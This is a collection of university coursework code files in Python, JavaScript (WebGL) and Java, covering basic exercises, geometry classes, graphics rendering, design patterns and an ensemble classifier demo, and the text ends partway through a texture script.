"cbc7191bef8e1bddfbdccec5d240c988201bd984", "content_id": "dd0875d2d738882edd2487d5d6ab1ff47314fd30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 308, "license_type": "no_license", "max_line_length": 91, "num_lines": 13, "path": "/오픈소스SW활용/1. Basic in Python/problem2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nWhat are the values of the following expressions, assuming that s =\"Hello\" and t = \"World\"?\n\"\"\"\n\ns = \" Hello\"\nt = \"World\"\n\nprint('len(s)+len(t) :', len(s) + len(t))\nprint('s[1]+s[2] :', s[1] + s[2])\nprint('s[len(s)//2] :', s[len(s) // 2])\nprint('s+t :', s + t)\nprint('t+s :', t + s)\nprint('s*2 :', s * 2)" }, { "alpha_fraction": 0.6411609649658203, "alphanum_fraction": 0.6596305966377258, "avg_line_length": 29.360000610351562, "blob_id": "ef67cdba86eace9125092079aa8cc925f138ab58", "content_id": "6e0078295a7393fd26347acf78a000523ce737bc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 770, "license_type": "no_license", "max_line_length": 94, "num_lines": 25, "path": "/오픈소스SW활용/6. Sets and Dictionaries/problem2.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nThe keys in a dictionary are guaranteed to be unique, but the values are not.\nWrite a function that takes a single dictionary as an argument\nand returns the number of distinct values it contains.\nFor example, given the input {’red’: 1, ’green’: 1, ’blue’: 2}, your function should return 2.\n\"\"\"\n\nproblem = {'red': 1, 'green': 1, 'blue': 2, 'pink': 1, 'purple': 2, 'grey': 3}\nprint(problem)\n\ndef count_values1(problem):\n val = list(problem.values())\n temp = []\n\n for i in range(len(val)):\n if val[i] not in temp:\n temp.append(val[i])\n return temp\n\ndef count_values2(problem):\n val = set(problem.values())\n return val\n\nprint('distinct values :', count_values1(problem))\nprint('distinct values :', count_values2(problem))" }, { "alpha_fraction": 0.4831932783126831, "alphanum_fraction": 0.4978991448879242, "avg_line_length": 22.850000381469727, "blob_id": "fe42a144b931eef2b8de173ef4d3ad052038fa60", "content_id": "94f92f999b44d9198adbe9751b74a2059ac7937e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 476, "license_type": "no_license", "max_line_length": 57, "num_lines": 20, "path": "/오픈소스SW활용/3. Modules and Objects/triangle.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "import math\n\nclass triangle:\n def __init__(self, a, b, c, h):\n self.a = a\n self.b = b\n self.c = c\n self.h = h\n def perimeter(self):\n return round(self.a + self.b + self.c, 2)\n def area(self):\n return round(0.5 * self.b * self.h, 2)\n\nclass pythagorean:\n def __init__(self, a, b, c):\n self.a = a\n self.b = b\n self.c = c\n def hypotenuse(self):\n return round(math.sqrt(self.a**2 + self.b**2), 2)" }, { "alpha_fraction": 0.505586564540863, "alphanum_fraction": 0.5642458200454712, "avg_line_length": 24.64285659790039, "blob_id": "57f397b44a34eaea15a052bf6e99cb949ed81156", "content_id": "74f449da0f1bbc801cbd61c430db393ef034ad77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 358, "license_type": "no_license", "max_line_length": 68, "num_lines": 14, "path": "/오픈소스SW활용/1. Basic in Python/problem3.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nDesign a program to compute the height of a ball in vertical motion.\n\nh(t) = v0 * (-1/2) * g * t^2\n\"\"\"\n\nv0 = 100 # initial velocity\ng = 32 # acceleration of gravity (32 feet/sec)\nt = 3.2 # time\nd = 50 # initial vertical position\n\n# compute the vertical position\nh = -0.5 * g * t**2 + v0 * t + d\nprint(round(h, 2), 'feet')" }, { "alpha_fraction": 0.5016834735870361, "alphanum_fraction": 0.5471380352973938, "avg_line_length": 25.10988998413086, "blob_id": "0f930d2013c5e046cf2237e5dbeaa9594045bd5f", "content_id": "fac9e8e0e7d812264b46f554fd3c6ed2fd2debac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2376, "license_type": "no_license", "max_line_length": 82, "num_lines": 91, "path": "/컴퓨터그래픽스/carpet.js", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\nvar gl;\nvar points = [];\n\nvar divideCount = 4;\n\nwindow.onload = function init()\n{\n var canvas = document.getElementById( \"gl-canvas\" );\n \n gl = WebGLUtils.setupWebGL( canvas );\n if ( !gl ) { alert( \"WebGL isn't available\" ); }\n\n \n // Four Vertices\n var vertices = [\n vec2( -1, 1 ),\n vec2( -1, -1 ),\n vec2( 1, -1 ),\n vec2( 1, 1 )\n ];\n\n divideSquare(vertices[0], vertices[1], vertices[2], vertices[3], divideCount);\n\n //\n // Configure WebGL\n //\n gl.viewport( 0, 0, canvas.width, canvas.height );\n gl.clearColor( 0.0, 0.0, 0.0, 1.0 );\n \n // Load shaders and initialize attribute buffers\n \n var program = initShaders( gl, \"vertex-shader\", \"fragment-shader\" );\n gl.useProgram( program );\n \n // Load the data into the GPU\n \n var bufferId = gl.createBuffer();\n gl.bindBuffer( gl.ARRAY_BUFFER, bufferId );\n gl.bufferData( gl.ARRAY_BUFFER, flatten(points), gl.STATIC_DRAW );\n\n // Associate out shader variables with our data buffer\n \n var vPosition = gl.getAttribLocation( program, \"vPosition\" );\n gl.vertexAttribPointer( vPosition, 2, gl.FLOAT, false, 0, 0 );\n gl.enableVertexAttribArray( vPosition );\n\n render();\n};\n\nfunction square(a, b, c, d) {\n points.push(a, b, d);\n points.push(b, c, d);\n}\n\nfunction divideSquare(a, b, c, d, count) {\n if (count == 0) {\n square(a, b, c, d);\n }\n else {\n var ab1 = mix(a, b, 0.33);\n var ab2 = mix(a, b, 0.67);\n var bc1 = mix(b, c, 0.33);\n var bc2 = mix(b, c, 0.67);\n var cd1 = mix(c, d, 0.33);\n var cd2 = mix(c, d, 0.67);\n var ad1 = mix(a, d, 0.33);\n var ad2 = mix(a, d, 0.67);\n\n var ac1 = mix(a, c, 0.33);\n var ac2 = mix(a, c, 0.67);\n var bd1 = mix(b, d, 0.33);\n var bd2 = mix(b, d, 0.67);\n\n --count;\n\n divideSquare(a, ab1, ac1, ad1, count);\n divideSquare(ab1, ab2, bd1, ac1, count);\n divideSquare(ab2, b, bc1, bd1, count);\n divideSquare(ad1, ac1, bd2, ad2, count);\n divideSquare(bd1, bc1, bc2, ac2, count);\n divideSquare(ad2, bd2, cd2, d, count);\n divideSquare(bd2, ac2, cd1, cd2, count);\n divideSquare(ac2, bc2, c, cd1, count);\n }\n}\n\n\nfunction render() {\n gl.clear( gl.COLOR_BUFFER_BIT );\n gl.drawArrays( gl.TRIANGLES, 0, points.length );\n}" }, { "alpha_fraction": 0.727544903755188, "alphanum_fraction": 0.7335329055786133, "avg_line_length": 20.54838752746582, "blob_id": "a6cd5d6808c21a38e0889e51fd62239ef3d8d09d", "content_id": "4d085f40e917b2925453c352590ad3159600baff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 668, "license_type": "no_license", "max_line_length": 46, "num_lines": 31, "path": "/디자인패턴/report7-2/Speedometer2.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter8_2;\n\nimport java.util.ArrayList;\n\npublic class Speedometer2 implements Subject {\n\tint currentSpeed;\n\tprivate ArrayList<Observer> observers;\n\t\n\tpublic Speedometer2() {\n\t\tobservers = new ArrayList<Observer>();\n\t}\n\tpublic void setCurrentSpeed(int speed) {\n\t\tthis.currentSpeed = speed;\n\t\tnotifyObservers();\n\t}\n\tpublic int getCurrentSpeed() {\n\t\treturn this.currentSpeed;\n\t}\n\t\n\tpublic void registerObserver(Observer o) {\n\t\tobservers.add(o);\n\t}\n\tpublic void removeObserver(Observer o) {\n\t\tint idx = observers.indexOf(o);\n\t\tobservers.remove(idx);\n\t}\n\tpublic void notifyObservers() {\n\t\tfor (Observer observer : observers)\n\t\t\tobserver.update(currentSpeed);\n\t}\n}\n" }, { "alpha_fraction": 0.4820910096168518, "alphanum_fraction": 0.515972912311554, "avg_line_length": 18.49056625366211, "blob_id": "3a227870907e80cfd6fd6081ce8936da97f8e180", "content_id": "50ec2a38f70efb0a6b84182234fcf94fc6bb78cb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1033, "license_type": "no_license", "max_line_length": 72, "num_lines": 53, "path": "/오픈소스SW활용/Problem/comp_dist.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite and test your Python function to calculate the Euclidean distance\nbetween 10-th and 27-th rows\n\"\"\"\n\nimport re\nimport math\n\n\ndef comp_dist(data):\n row10 = []\n row27 = []\n dist = 0\n\n for i in data:\n if i[0] == 10:\n row10.append(i)\n if i[0] == 27:\n row27.append(i)\n\n row10.sort()\n row27.sort()\n\n for a, b in zip(row10, row27):\n dist = dist + (a[2] - b[2]) ** 2\n\n result = round(math.sqrt(dist), 2)\n return result\n\n\ndef make_data():\n data = []\n fd = open(\"A.dat\", \"r\")\n fd_data = \"\".join(fd.readlines())\n\n p = re.compile(r\"(\\d+),(\\d+):(\\d+)|(\\d+),(\\d+):(-\\d+)\")\n find = p.findall(fd_data)\n\n for i in find:\n tmp = list(i)\n tmp.remove(\"\")\n tmp.remove(\"\")\n tmp.remove(\"\")\n tmp = list(map(int, tmp))\n data.append(tmp)\n return data\n\n\nif __name__ == \"__main__\":\n data = make_data()\n\n print(\"calculate the Euclidean distance between 10th and 27th rows\")\n print(\"distance :\", comp_dist(data))\n" }, { "alpha_fraction": 0.74631267786026, "alphanum_fraction": 0.76106196641922, "avg_line_length": 21.600000381469727, "blob_id": "6731cd804d28d4acb152b39dd227d1ab3d86e0c8", "content_id": "62713f93734c23ed047c5f8c197deb3096ce2195", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 339, "license_type": "no_license", "max_line_length": 66, "num_lines": 15, "path": "/디자인패턴/report8/AirConditionedVehicle.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter9;\n\nimport chapter7.Vehicle;\n\npublic class AirConditionedVehicle extends AbstractVehicleOption {\n\tprivate Vehicle vehicle;\n\t\n\tpublic AirConditionedVehicle(Vehicle vehicle) {\n\t\tsuper(vehicle.getEngine(), vehicle.getColour());\n\t\tthis.vehicle = vehicle;\n\t}\n\tpublic int getPrice() {\n\t\treturn 600 + this.vehicle.getPrice();\n\t}\n}\n" }, { "alpha_fraction": 0.5645371675491333, "alphanum_fraction": 0.5958278775215149, "avg_line_length": 25.34482765197754, "blob_id": "19df96194c55014a6fd90ac8f83d858458229bd2", "content_id": "b70d4a8cffe550ae0f94f0fc7d06cbce6973f8cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 767, "license_type": "no_license", "max_line_length": 107, "num_lines": 29, "path": "/오픈소스SW활용/5. Loop statements/problem1.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite a program that takes a positive integer N as input and draws N random integers in the interval [1, 6]\n(both ends inclusive). N increase by 10 to 100. Answer the following questions.\n\"\"\"\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\nN = int(input('input N : '))\n\nidx = 1\nfor step in range(10, N+1, 10):\n count = [0 for x in range(8)]\n base = [x for x in range(8)]\n rand = [np.random.randint(1, 7) for _ in range(step)]\n\n for i in range(step):\n for j in range(step):\n if rand[j] == i:\n count[i] += 1\n\n plt.subplot(2, 5, idx)\n plt.bar(base, count, width=0.5, color='r', edgecolor='black')\n plt.title('N = %d' % step)\n plt.xlabel('number')\n plt.ylabel('count')\n idx += 1\n\nplt.show()\n\n\n\n" }, { "alpha_fraction": 0.4748491048812866, "alphanum_fraction": 0.5070422291755676, "avg_line_length": 18.8799991607666, "blob_id": "122d39af52f7661fba7f0a7132c5a92a970c5adb", "content_id": "86ad218013739fca18241cda2a6d3a265058316e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 497, "license_type": "no_license", "max_line_length": 65, "num_lines": 25, "path": "/오픈소스SW활용/Problem/dup.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"\"\"\nDesign and implement a Python script that reads a set of integers\nand returns the integers that occur two or more times\n\"\"\"\n\n\ndef dup(input):\n tmp = []\n\n for i in input:\n count = 0\n for j in input:\n if (i == j):\n count += 1\n if (count > 1):\n tmp.append(i)\n\n result = list(set(tmp))\n return result\n\n\nif __name__ == \"__main__\":\n input = [10, 9, 8, 7, 6, 5, 4, 3, -3, -3, 4, 4]\n\n print(\"duplicate number :\", dup(input))\n" }, { "alpha_fraction": 0.7991631627082825, "alphanum_fraction": 0.8117154836654663, "avg_line_length": 22.899999618530273, "blob_id": "390a9b39f2bdbfde6a829e0ad7a9ba51449820ab", "content_id": "9831e8bbcbd77a5731f4adba766c62f6c07db7ca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 239, "license_type": "no_license", "max_line_length": 69, "num_lines": 10, "path": "/디자인패턴/report8/AbstractVehicleOption.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter9;\n\nimport chapter7.AbstractVehicle;\nimport chapter7.Engine;\n\npublic abstract class AbstractVehicleOption extends AbstractVehicle {\n\tpublic AbstractVehicleOption(Engine engine, Colour colour) {\n\t\tsuper(engine, colour);\n\t}\n}\n" }, { "alpha_fraction": 0.5149579644203186, "alphanum_fraction": 0.5630252361297607, "avg_line_length": 27.070755004882812, "blob_id": "8d71298a1d852547b0ce977d28209d1bcdc954b0", "content_id": "a82662aa7852d60118f91b02b9f069e1bcf288a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6034, "license_type": "no_license", "max_line_length": 78, "num_lines": 212, "path": "/컴퓨터그래픽스/pyramid_texture.js", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"use strict\";\n\nvar canvas;\nvar gl;\nvar program;\nvar texture;\n\nvar NumVertices = 18;\nvar texSize = 32;\n\nvar pointsArray = [];\nvar colorsArray = [];\nvar texCoordsArray = [];\n\nvar xAxis = 0;\nvar yAxis = 1;\nvar zAxis = 2;\nvar axis = 0;\nvar theta = [ 45, 45, 45 ];\n\nvar thetaLoc;\n\nvar texCoord = [\n vec2( 0, 0 ), vec2( 0.33, 0 ), vec2( 0.17, 0.5 ),\n vec2( 0.33, 0 ), vec2( 0.66, 0 ), vec2( 0.5, 0.5 ),\n vec2( 0, 0.5 ), vec2( 0.33, 0.5 ), vec2( 0.17, 1 ),\n vec2( 0.33, 0.5 ), vec2( 0.66, 0.5 ), vec2( 0.5, 1 ),\n vec2( 0.66, 0.5 ), vec2( 0.66, 0 ), vec2( 1, 0 ), vec2( 1, 0.5 )\n];\n\n// 좌표 설정\nvar vertices = [\n vec4( 0, 0.5, 0, 1.0 ),\n vec4( -0.5, -0.5, -0.5, 1.0 ),\n vec4( 0.5, -0.5, -0.5, 1.0 ),\n vec4( 0.5, -0.5, 0.5, 1.0 ),\n vec4( -0.5, -0.5, 0.5, 1.0 )\n];\n\nvar vertexColors = [\n vec4( 1.0, 0.0, 0.0, 1.0 ), // red\n vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow\n vec4( 0.0, 1.0, 0.0, 1.0 ), // green\n vec4( 0.0, 0.0, 1.0, 1.0 ), // blue\n vec4( 1.0, 0.0, 1.0, 1.0 ), // magenta\n vec4( 0.0, 1.0, 1.0, 1.0 ), // white\n vec4( 0.0, 1.0, 1.0, 1.0 ) // cyan\n];\n\n\nfunction configureTexture( image ) {\n texture = gl.createTexture();\n gl.bindTexture( gl.TEXTURE_2D, texture );\n gl.pixelStorei(gl.UNPACK_FLIP_Y_WEBGL, true);\n gl.texImage2D( gl.TEXTURE_2D, 0, gl.RGB,\n gl.RGB, gl.UNSIGNED_BYTE, image );\n gl.generateMipmap( gl.TEXTURE_2D );\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER,\n gl.NEAREST_MIPMAP_LINEAR );\n gl.texParameteri( gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST );\n\n gl.uniform1i(gl.getUniformLocation(program, \"texture\"), 0);\n}\n\n// 총 6개의 삼각형으로 피라미드를 만든다.\n// (2, 1, 4), (2, 4, 3) 두 개의 삼각형이 합쳐져 사각형인 밑면이 만들어진다.\nfunction colorCube()\n{\n pyramid(2, 1, 0)\n pyramid(3, 2, 0)\n pyramid(4, 3, 0)\n pyramid(1, 4, 0)\n pyramid(2, 1, 4, 3)\n}\n\nfunction pyramid(a, b, c, d)\n{\n var arr = [a, b, c];\n\n if (c == 4) {\n pointsArray.push(vertices[a]);\n colorsArray.push(vertexColors[0]);\n texCoordsArray.push(texCoord[12]);\n\n pointsArray.push(vertices[b]);\n colorsArray.push(vertexColors[0]);\n texCoordsArray.push(texCoord[13]);\n\n pointsArray.push(vertices[c]);\n colorsArray.push(vertexColors[0]);\n texCoordsArray.push(texCoord[14]);\n\n pointsArray.push(vertices[a]);\n colorsArray.push(vertexColors[0]);\n texCoordsArray.push(texCoord[12]);\n\n pointsArray.push(vertices[c]);\n colorsArray.push(vertexColors[0]);\n texCoordsArray.push(texCoord[14]);\n\n pointsArray.push(vertices[d]);\n colorsArray.push(vertexColors[0]);\n texCoordsArray.push(texCoord[15]);\n }\n else {\n if (b == 1) {\n for (var i = 0; i < 3; i++) {\n pointsArray.push(vertices[arr[i]]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[i]);\n }\n }\n else if (b == 2) {\n for (var i = 0; i < 3; i++) {\n pointsArray.push(vertices[arr[i]]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[i+3]);\n }\n }\n else if (b == 3) {\n for (var i = 0; i < 3; i++) {\n pointsArray.push(vertices[arr[i]]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[i+6]);\n }\n }\n else {\n for (var i = 0; i < 3; i++) {\n pointsArray.push(vertices[arr[i]]);\n colorsArray.push(vertexColors[a]);\n texCoordsArray.push(texCoord[i+9]);\n }\n }\n }\n}\n\nwindow.onload = function init()\n{\n canvas = document.getElementById( \"gl-canvas\" );\n\n gl = WebGLUtils.setupWebGL( canvas );\n if ( !gl ) { alert( \"WebGL isn't available\" ); }\n\n gl.viewport( 0, 0, canvas.width, canvas.height );\n gl.clearColor( 1.0, 1.0, 1.0, 1.0 );\n\n gl.enable(gl.DEPTH_TEST);\n\n //\n // Load shaders and initialize attribute buffers\n //\n program = initShaders( gl, \"vertex-shader\", \"fragment-shader\" );\n gl.useProgram( program );\n\n colorCube();\n\n var cBuffer = gl.createBuffer();\n gl.bindBuffer( gl.ARRAY_BUFFER, cBuffer );\n gl.bufferData( gl.ARRAY_BUFFER, flatten(colorsArray), gl.STATIC_DRAW );\n\n var vColor = gl.getAttribLocation( program, \"vColor\" );\n gl.vertexAttribPointer( vColor, 4, gl.FLOAT, false, 0, 0 );\n gl.enableVertexAttribArray( vColor );\n\n var vBuffer = gl.createBuffer();\n gl.bindBuffer( gl.ARRAY_BUFFER, vBuffer );\n gl.bufferData( gl.ARRAY_BUFFER, flatten(pointsArray), gl.STATIC_DRAW );\n\n var vPosition = gl.getAttribLocation( program, \"vPosition\" );\n gl.vertexAttribPointer( vPosition, 4, gl.FLOAT, false, 0, 0 );\n gl.enableVertexAttribArray( vPosition );\n\n var tBuffer = gl.createBuffer();\n gl.bindBuffer( gl.ARRAY_BUFFER, tBuffer );\n gl.bufferData( gl.ARRAY_BUFFER, flatten(texCoordsArray), gl.STATIC_DRAW );\n\n var vTexCoord = gl.getAttribLocation( program, \"vTexCoord\" );\n gl.vertexAttribPointer( vTexCoord, 2, gl.FLOAT, false, 0, 0 );\n gl.enableVertexAttribArray( vTexCoord );\n\n\n var image = document.getElementById(\"texImage\");\n configureTexture(image);\n\n thetaLoc = gl.getUniformLocation(program, \"theta\");\n\n //event listeners for buttons\n\n document.getElementById( \"xButton\" ).onclick = function () {\n axis = xAxis;\n };\n document.getElementById( \"yButton\" ).onclick = function () {\n axis = yAxis;\n };\n document.getElementById( \"zButton\" ).onclick = function () {\n axis = zAxis;\n };\n\n render();\n}\n\nvar render = function()\n{\n gl.clear( gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);\n\n theta[axis] += 2.0;\n gl.uniform3fv(thetaLoc, theta);\n\n gl.drawArrays( gl.TRIANGLES, 0, NumVertices );\n\n requestAnimFrame( render );\n}" }, { "alpha_fraction": 0.4844582676887512, "alphanum_fraction": 0.5075488686561584, "avg_line_length": 23.758241653442383, "blob_id": "f385777aabb7954276309e06b4c12ad63e82918c", "content_id": "1595750de46a8e7c726bf06c96fc1f6c486627b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2252, "license_type": "no_license", "max_line_length": 59, "num_lines": 91, "path": "/오픈소스SW활용/Problem/geometry.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "from math import pi\nfrom math import sqrt\n\nclass SQUARE:\n def __init__(self, shape, type):\n self.shape = shape\n self.type = type\n\n def square(self, s):\n parameter = 4*s\n area = s**2\n return [parameter, area]\n\n def rectangle(self, a, b):\n parameter = 2*a + 2*b\n area = a*b\n return [parameter, area]\n\n def parallelogram(self, a, b, h):\n parameter = 2*a + 2*b\n area = b*h\n return [parameter, area]\n\n def trapezoid(self, a, b, c, d, h):\n parameter = a + b + c + d\n area = h*(a+b)/2\n return [parameter, area]\n\n def rectangularBox(self, a, b, c):\n area = 2*a*b + 2*a*c + 2*b*c\n volume = a*b*c\n return [area, volume]\n\n def cube(self, l):\n area = 6*l*l\n volume = l**3\n return [area, volume]\n\n\nclass CIRCLE:\n def __init__(self, shape, type):\n self.shape = shape\n self.type = type\n\n def circle(self, r):\n parameter = 2*pi*r\n area = round(pi*r*r, 2)\n return [parameter, area]\n\n def circularSector(self, r, seta):\n length = round(pi*r*seta/180, 2)\n area = round(pi*r*r*seta/360, 2)\n return [length, area]\n\n def circularRing(self, r, R):\n area = round(pi * (R**2 - r**2), 2)\n return area\n\n def sphere(self, r):\n surface = round(4*pi*r**2, 2)\n volume = round(4*pi*r**3/3, 2)\n return [surface, volume]\n\n def cylinder(self, r, h):\n area = round(2*pi*r * (r+h), 2)\n volume = round(pi*r*r*h, 2)\n return [area, volume]\n\nclass TRIANGLE:\n def __init__(self, shape, type):\n self.shape = shape\n self.type = type\n\n def triangle(self, a, b, c, h):\n parameter = a + b + c\n area = 0.5*b*h\n return [parameter, area]\n\n def pythagorean(self, a, b):\n theorem = round(sqrt(a**2 + b**2), 2)\n return theorem\n\n def rightCircularCone(self, r, h, s):\n area = round(pi*r*r + pi*r*s, 2)\n surface = round(sqrt(r**2 + h**2), 2)\n volume = round(1/3 * pi*r*r*h, 2)\n return [area, surface, volume]\n\n def frustumCone(self, r, h, R):\n volume = round(1/3 * pi*h * (r**2 + r*R + R**2), 2)\n return volume" }, { "alpha_fraction": 0.7047619223594666, "alphanum_fraction": 0.738095223903656, "avg_line_length": 15.15384578704834, "blob_id": "fd9030d19fdfd552679e095a2e82462a63947030", "content_id": "9518ac7dc60a376886fc396e869f5b2bedaa839f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 210, "license_type": "no_license", "max_line_length": 40, "num_lines": 13, "path": "/디자인패턴/report8/Coupe.java", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "package chapter9;\n\nimport chapter7.AbstractCar;\nimport chapter7.Engine;\n\npublic class Coupe extends AbstractCar {\n\tpublic Coupe(Engine engine) {\n\t\tsuper(engine);\n\t}\n\tpublic int getPrice() {\n\t\treturn 7000;\n\t}\n}\n" }, { "alpha_fraction": 0.6353248357772827, "alphanum_fraction": 0.6702579259872437, "avg_line_length": 38.269229888916016, "blob_id": "41132f7681ee854ddb5c075f62deb1f4b94a26de", "content_id": "3a8ebd30c110810e52fd4103210a0e8c509541b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3063, "license_type": "no_license", "max_line_length": 111, "num_lines": 78, "path": "/인공지능/model/majority-vote.py", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "import itertools\nimport numpy as np\nimport pylab as plt\n\nfrom sklearn import datasets\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler, LabelEncoder\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import roc_curve, auc\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\n\nfrom mvc import MajorityVoteClassifier\n\n# load a problem\niris = datasets.load_iris()\nX, y = iris.data[50:, [1, 2]], iris.target[50:]\nle = LabelEncoder()\ny = le.fit_transform(y)\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5, random_state=1)\n\n# set a set of classifiers\nclf1 = LogisticRegression(penalty='l2', C=0.001, random_state=0)\nclf2 = DecisionTreeClassifier(max_depth=1, criterion='entropy', random_state=0)\nclf3 = KNeighborsClassifier(n_neighbors=1, p=2, metric='minkowski')\npipe1 = Pipeline([['sc', StandardScaler()], ['clf', clf1]])\npipe3 = Pipeline([['sc', StandardScaler()], ['clf', clf3]])\nclf4 = MajorityVoteClassifier(classifiers=[pipe1, clf2, pipe3])\n\nclf_labels = ['Logistic regressor', 'Dtree', 'K-nn', 'Majority voting']\nall_clf = [pipe1, clf2, pipe3, clf4]\n\n# plot the ROC curve\ncolors = ['black', 'orange', 'blue', 'green']\nlinestyles = [':', '--', '-.', '-']\nfor clf, label, clr, ls, in zip(all_clf, clf_labels, colors, linestyles):\n # assuming the label of the positive class is 1\n y_pred = clf.fit(X_train, y_train).predict_proba(X_test)[:, 1]\n fpr, tpr, thresholds = roc_curve(y_test, y_pred)\n roc_auc = auc(fpr, tpr)\n plt.plot(fpr, tpr, color=clr, ls=ls, label='%s (auc = %.2f)' % (label, roc_auc))\nplt.legend(loc='lower right')\nplt.plot([0, 1], [0, 1], ls='--', color='gray', linewidth=2)\nplt.xlim([-0.1, 1.1])\nplt.ylim([-0.1, 1.1])\nplt.grid(True)\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.show()\n\n# plot the results\nx_min = X_train[:, 0].min() - 1\nx_max = X_train[:, 0].max() + 1\ny_min = X_train[:, 1].min() - 1\ny_max = X_train[:, 1].max() + 1\n\nxx, yy = np.meshgrid(np.arange(x_min, x_max, 0.1), np.arange(y_min, y_max, 0.1))\nf, axarr = plt.subplots(nrows=2, ncols=2, sharex='col', sharey='row', figsize=(7, 5))\n\nfor idx, clf, tt in zip(itertools.product([0, 1], [0, 1]), all_clf, clf_labels):\n clf.fit(X_train, y_train)\n\n Z = clf.predict(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n\n axarr[idx[0], idx[1]].contourf(xx, yy, Z, alpha=0.3)\n axarr[idx[0], idx[1]].scatter(X_train[y_train == 0, 0], X_train[y_train==0, 1], c='blue', marker='^', s=50)\n axarr[idx[0], idx[1]].scatter(X_train[y_train == 1, 0], X_train[y_train==1, 1], c='red', marker='o', s=50)\n axarr[idx[0], idx[1]].set_title(tt)\n\nplt.text(-3.5, -4.5, s='Sepal width', ha='center', va='center', fontsize=12)\nplt.text(-12.0, 4.5, s='Sepal length', ha='center', va='center', fontsize=12, rotation=90)\nplt.show()\n" }, { "alpha_fraction": 0.5810161232948303, "alphanum_fraction": 0.6163748502731323, "avg_line_length": 26.880382537841797, "blob_id": "48dde58377c5b077ce8faa20301a4ffc4b3dfb60", "content_id": "e7f897a19bb01a56defa47180b9ba08cf6f80142", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5834, "license_type": "no_license", "max_line_length": 78, "num_lines": 209, "path": "/컴퓨터그래픽스/texture.js", "repo_name": "sangm1n/-.DKUniversity", "src_encoding": "UTF-8", "text": "\"use strict\";\n\nvar canvas;\nvar gl;\nvar program;\nvar texture;\n\nvar NumVertices = 18;\nvar texSize = 32;\n\nvar pointsArray = [];\nvar colorsArray = [];\nvar texCoordsArray = [];\n\nvar xAxis = 0;\nvar yAxis = 1;\nvar zAxis = 2;\nvar axis = 0;\nvar theta = [ 45, 45, 45 ];\n\nvar thetaLoc;\n\nvar texCoord = [\n vec2( 0, 0 ),\n vec2( 0, 1 ),\n vec2( 1, 1 ),\n vec2( 1, 0 ),\n vec2( 0.5, 1 )\n];\n\n// 좌표 설정\nvar vertices = [\n vec4( 0, 0.5, 0, 1.0 ),\n vec4( -0.5, -0.5, -0.5, 1.0 ),\n vec4( 0.5, -0.5, -0.5, 1.0 ),\n vec4( 0.5, -0.5, 0.5, 1.0 ),\n vec4( -0.5, -0.5, 0.5, 1.0 )\n];\n\nvar vertexColors = [\n vec4( 1.0, 0.0, 0.0, 1.0 ), // red\n vec4( 1.0, 1.0, 0.0, 1.0 ), // yellow\n vec4( 0.0, 1.0, 0.0, 1.0 ), // green\n vec4( 0.0, 0.0, 1.0, 1.0 ), // blue\n vec4( 1.0, 0.0, 1.0, 1.0 ), // magenta\n vec4( 0.0, 1.0, 1.0, 1.0 ), // white\n vec4( 0.0, 1.0, 1.0, 1.0 ) // 